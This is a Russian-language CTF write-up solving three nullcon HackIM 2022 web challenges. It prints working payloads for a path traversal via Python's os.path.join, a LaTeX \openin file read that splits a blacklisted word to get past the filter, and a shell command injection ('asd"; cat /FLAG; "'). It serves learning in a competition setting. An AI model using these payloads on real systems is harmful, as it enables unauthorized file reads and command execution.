nullcon HackIM 2022

Web Category — fil3serv3r.

URL задания: http://52.59.124.14:10000

При переходе по урлу, встречает следующий ответ:
response1
Пробуем перейти в /flag.txt, и сервер отвечает:

Flag is not here, it is in ../

Теперь посмотрим app.py. В нём интересны следующие строки:

...
path = self.path.lstrip("/")
while ".." in path:
            path = path.replace("../", "")
...
fpath = os.path.join(BASEPATH, "files", path)
...

Согласно спецификации метода os.path.join(path, *paths), если компонент представляет собой абсолютный путь, все предыдущие компоненты отбрасываются, и соединение продолжается с компонента абсолютного пути.

Соответственно, чтобы получить флаг и обойти фильтрацию, можно использовать абсолютный путь, используем следующий пейлоад:

/..//usr/src/app/flag.txt

И получаем первый флаг:

🚩ENO{PYTH0Ns_0sp4thj01n_fun_l0l}🚩

Web Category — Texnology (fixed)

URL задания: http://52.59.124.14:10005

Главная страничка говорит, о том что тут работает обработчик LaTeX
response2

До этого никогда не работал с этим инструментом, поэтому нашёл хорошую статью — https://0day.work/hacking-with-latex/. В которой подробно описываются методы атаки на этот обработчик.

После многих попыток использования дефолтных пейлоадов, я понял, что следующие слова в блэклисте:

"(input|include|write18|immediate|FLAG)"

Был не заблочен метод openin, но так как слово FLAG было в блэклисте нельзя было так просто прочитать его. Поэтому генерируем следующий пейлоад:

\def \first {\string/FL}
\def \second {AG.php}

\newread\file
\openin\file={\first\second}
\read\file to\line
\text{\line}
\closein\file

Его смысл в том, что мы разделяем слово FLAG на две части, \first=FL и \second=AG.php. Нажимаем Generate PDF! И получаем флаг.

🚩ENO{L4T3x_H4ck1Ng_R3L04D3D_OK_N0tBugGy!}🚩

Web Category — gitonator (Unintended solution)

Задание: nc 52.59.124.14 10001

Если узнаю как оно решалось правильно, то дополню этот пост!

Решение не так планировалось изначально разрабами таска. Вот пейлоад:

asd"; cat /FLAG; "

Результат:

solve

🚩ENO{OO0oops_0day_1n_mY_t00lz_Thank_you_Justin:-)}🚩

Полезные ресурсы:

  1. https://0day.work/hacking-with-latex/
  2. https://docs.python.org/3/library/os.path.html

Оставьте комментарий